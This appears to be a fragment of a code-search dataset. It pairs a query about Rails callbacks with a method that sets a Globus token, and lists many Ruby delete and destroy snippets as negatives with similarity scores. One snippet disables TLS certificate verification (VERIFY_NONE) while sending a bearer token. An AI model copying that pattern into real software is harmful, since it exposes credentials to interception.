else\n if storage.hash_exists?(major)\n delete_hash = storage.find(major)\n else\n puts 'Delete hash not found in storage.'\n puts 'Use: imgurr delete <id> <delete_hash>'\n return\n end\n end\n if ImgurAPI.delete(delete_hash)\n puts 'Successfully deleted image from Imgur'\n storage.delete(major)\n storage.save\n else\n puts 'Unauthorized Access. Wrong delete hash?'\n end\n end", "def http_delete(opts={})\n ret=http_delete_low(opts)\n if ret.is_a?(Hash) and ret.has_key?('error') and ret['error']=='Invalid Credentials' then\n\tauthdefault\n\tret=http_delete_low(opts)\n\treturn ret\n else\n\treturn ret\n end\n end", "def delete\n user = getUserByAuthToken(request)\n user.soft_delete\n head :no_content\n end", "def delete\n request(:delete)\n end", "def destroy\n @api_token = ApiToken.find(params[:id])\n \n @api_token.destroy unless @api_token.user_id != current_user.id\n\n respond_to do |format|\n format.html { redirect_to(api_tokens_url) }\n format.xml { head :ok }\n end\n end", "def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end", "def destroy\n @model.destroy\n respond_to do |format|\n format.html { redirect_to access_tokens_url, notice: 'Access token was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @push_token = PushToken.find(params[:id])\n mag = @push_token.magazine\n @push_token.destroy\n\n respond_to do |format|\n format.html { redirect_to push_tokens_url(id:mag.apps_id) }\n format.json { head :no_content }\n end\n end", "def delete(url, params)\n params = convert_hash_keys(params)\n @access_token = params.delete('access_token') if params['access_token']\n return connection.delete(url)\n end", "def delete(pattern, &hndlr)\n @j_del.delete(pattern) { |j_req| hndlr.call(HttpServerRequest.new(j_req)) }\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @facebook_token.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete_and_give_me_a_json(additional_path, params = nil)\n if self.service_base_path != nil\n if params == nil\n params = Hash.new\n end\n params[:api_key] = self.access_token\n message = self.http_client.delete \"#{self.base_url}#{self.service_base_path}/#{additional_path}.json\", params\n trata_erro(message.content)\n end\n end", "def destroy\n @access_token = AccessToken.find(params[:id])\n @access_token.destroy\n\n respond_to do |format|\n format.html { redirect_to(access_tokens_url) }\n format.xml { head :ok }\n end\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def handle_od_rm(tokens, options); end", "def handle_od_rm(tokens, options); end", "def delete(command)\n pp @client.files.delete(clean_up(command[1]))\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end", "def destroy\n @apn_token.destroy\n respond_to do |format|\n format.html { redirect_to apn_tokens_url, notice: 'Apn token was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n current_user.remove_token\n render json: { status: :success, data: 'Successfully signed out' }\n end", "def delete_workset (token, workset_name)\n Rails.logger.debug \"delete_workset #{workset_name}\"\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Delete.new(url.request_uri)\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n request.add_field(\"Accept\", \"application/vnd.htrc-workset+xml\")\n response = http.request(request)\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error deleting workset (HTTP #{response.code})\")\n end\n\n end", "def deletef\n url = prefix + \"deletef\" + id_param\n return response(url)\n end", "def b2_delete_file(file)\n\n if parse_files_json(file) == {}\n\n puts \"File not present\"\n\n else\n \n result_hash = convert_json(b2_delete_file_version(file))\n\n if result_hash[\"fileName\"] == file\n puts \"File deleted successfully\"\n else\n puts \"Error deleting file\"\n end\n\n end\n\nend", "def delete endpoint\n do_request :delete, endpoint\n end", "def remove_token\n update(token: nil)\n end", "def destroy\n @user_token = UserToken.find(params[:id])\n @user_token.destroy\n\n respond_to do |format|\n format.html { redirect_to user_tokens_url }\n format.json { head :ok }\n end\n end", "def delete(data)\n params = self.params\n data['delete']['parameters'].each { |p|\n params.delete(p) if params.has_key?(p)\n }\n write(params)\n data['delete']['parameters']\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete!\n request! :delete\n end", "def delete\n token = existing_payload[:token]\n\n checkin_params = { token: token, return_to: cdl_checkin_success_iiif_auth_api_url(params[:id]) }\n redirect_to \"#{Settings.cdl.url}/checkin?#{checkin_params.to_param}\"\n end", "def deleteEntityList( gen_id, entity_id)\n params = Hash.new\n params['gen_id'] = gen_id\n params['entity_id'] = entity_id\n return doCurl(\"delete\",\"/entity/list\",params)\n end", "def delete\n api_client.delete(url)\n end", "def delete\n svc = Service.find_by_label(params[:label])\n raise CloudError.new(CloudError::SERVICE_NOT_FOUND) unless svc\n raise CloudError.new(CloudError::FORBIDDEN) unless svc.verify_auth_token(@service_auth_token)\n\n svc.destroy\n\n render :json => {}\n end", "def delete\n resp = if token.present?\n chip_client.delete(token:)\n else\n Faraday::Response.new(body: check_in.unauthorized_message.to_json, status: 401)\n end\n response.build(response: resp).handle\n end", "def delete(payload = {})\n request! do\n options = {payload: to_payload(payload)}\n api(options)[url.path].delete(API_HEADERS)\n end\n end", "def delete_json(url)\n JSON.parse(delete(url, :json, :json))\n end", "def delete_registration_token_with_http_info(token, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiAaaApi.delete_registration_token ...'\n end\n # verify the required parameter 'token' is set\n if @api_client.config.client_side_validation && token.nil?\n fail ArgumentError, \"Missing the required parameter 'token' when calling ManagementPlaneApiAaaApi.delete_registration_token\"\n end\n # resource path\n local_var_path = '/aaa/registration-token/{token}'.sub('{' + 'token' + '}', token.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiAaaApi#delete_registration_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def batch_delete(uuids)\n body = uuids.to_json\n request_delete(uri: '/files/storage/', content: body)\n end", "def delete(resource)\n headers = base_headers.merge('Content-Type' => 'application/json')\n url = \"#{@base_url}/#{resource}\"\n\n @logger.debug(\"DELETE request Url: #{url}\")\n @logger.debug(\"-- Headers: #{headers}\")\n\n x = HTTParty.delete(url, headers: headers)\n puts x.inspect\n x\n end", "def destroy\n @user=User.where(:authentication_token=>params[:api_key]).first\n @user.reset_authentication_token!\n render :json => { :message => [\"Session deleted.\"] }, :success => true, :status => :ok\n end", "def delete!\n Recliner.delete(uri)\n end", "def deleteEntitySocialmedia( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/socialmedia\",params)\n end", "def delete(path)\n request(:delete, path)\n end", "def deleteEntityDocument( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/document\",params)\n end", "def delete\n delete_from_server single_url\n end", "def delete\n request('delete').auth_required!\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def destroy\n @aliquotum = Aliquotum.find(params[:id])\n @aliquotum.destroy\n\n respond_to do |format|\n format.html { redirect_to aliquota_url }\n format.json { head :no_content }\n end\n end", "def http_delete(path, data = nil, content_type = 'application/json')\n http_methods(path, :delete, data, content_type)\n end", "def destroy\n @grant.destroy\n respond_to do |format|\n format.html { redirect_to grants_url, notice: 'تمّ حذف منحة بنجاح' }\n format.json { head :no_content }\n end\n end", "def destroy\n @guest_chat_token.destroy\n respond_to do |format|\n format.html { redirect_to admin_guest_chat_tokens_url, notice: 'Гостевой чат-токен было успешно удалён.' }\n format.json { head :no_content }\n end\n end", "def delete(params = {})\n case @api.version\n when 'v1'\n response = self.class.post(@api.delete_config[:url],\n :query => { :auth_token => @token }.merge(params),\n :headers => @api.headers\n )\n when 'v2'\n response = self.class.delete(@api.delete_config[:url],\n :query => { :auth_token => @token },\n :headers => @api.headers\n )\n end\n\n ErrorHandler.response_code_to_exception_for :user, user_id, response\n true\n end", "def custom_destroy\n if Key.where(role: \"admin\").pluck(:key).include? params[:key]\n @flatfiles = Flatfile.filtered(filter_params)\n @flatfiles.destroy_all\n else\n render json: \"Unauthorized\"\n end\nend" ]
[ "0.650365", "0.6490772", "0.6458638", "0.6444055", "0.6345504", "0.634459", "0.6266924", "0.6229879", "0.6224773", "0.622254", "0.61804026", "0.6173886", "0.6163432", "0.6146661", "0.6139132", "0.6138591", "0.6114884", "0.61093926", "0.61044353", "0.60984045", "0.6088365", "0.6061953", "0.6054388", "0.60252917", "0.6024433", "0.6015193", "0.60077894", "0.5995059", "0.5979782", "0.594946", "0.594946", "0.594946", "0.594946", "0.5922891", "0.59224993", "0.5918012", "0.59080166", "0.5895784", "0.58928937", "0.588974", "0.5888313", "0.5888155", "0.5880955", "0.58799314", "0.5871969", "0.58663005", "0.58631843", "0.5860956", "0.58495486", "0.58486336", "0.58481014", "0.5847647", "0.58250946", "0.5816253", "0.5816253", "0.581468", "0.5812121", "0.58063656", "0.5801408", "0.57985693", "0.57985693", "0.5797149", "0.579123", "0.57901794", "0.5788657", "0.5778736", "0.57769114", "0.5773484", "0.5764834", "0.5764284", "0.5763497", "0.57616", "0.57601553", "0.57601315", "0.57486075", "0.57467055", "0.57447094", "0.5744033", "0.57435584", "0.57401025", "0.5740076", "0.5737721", "0.5737593", "0.57206607", "0.5720306", "0.5718183", "0.571661", "0.5711024", "0.5710127", "0.5708118", "0.5704562", "0.5701786", "0.56969184", "0.5695494", "0.56851107", "0.5683818", "0.5679202", "0.5676703", "0.5675042", "0.56745744" ]
0.7025559
0
Use callbacks to share common setup or constraints between actions.
def set_globus_token @globus_token = GlobusToken.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a list of trusted parameters through.
def globus_token_params params.require(:globus_token).permit(:access_token, :expires_in, :body) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def allow_params_authentication!; end", "def whitelisted_args\n args.select &:allowed\n end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def filtered_parameters; end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def expected_permitted_parameter_names; end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def check_params; true; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def allowed?(*_)\n true\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def valid_params?; end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def url_allowlist=(_arg0); end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def list_params\n params.permit(:list_name)\n end", "def valid_params_request?; end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def safelists; end", "def authorize_own_lists\n authorize_lists current_user.lists\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def check_params\n true\n end", "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "def filter_parameters; end", "def filter_parameters; end", "def whitelist; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.permit(:name)\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def permitted_params\n []\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def 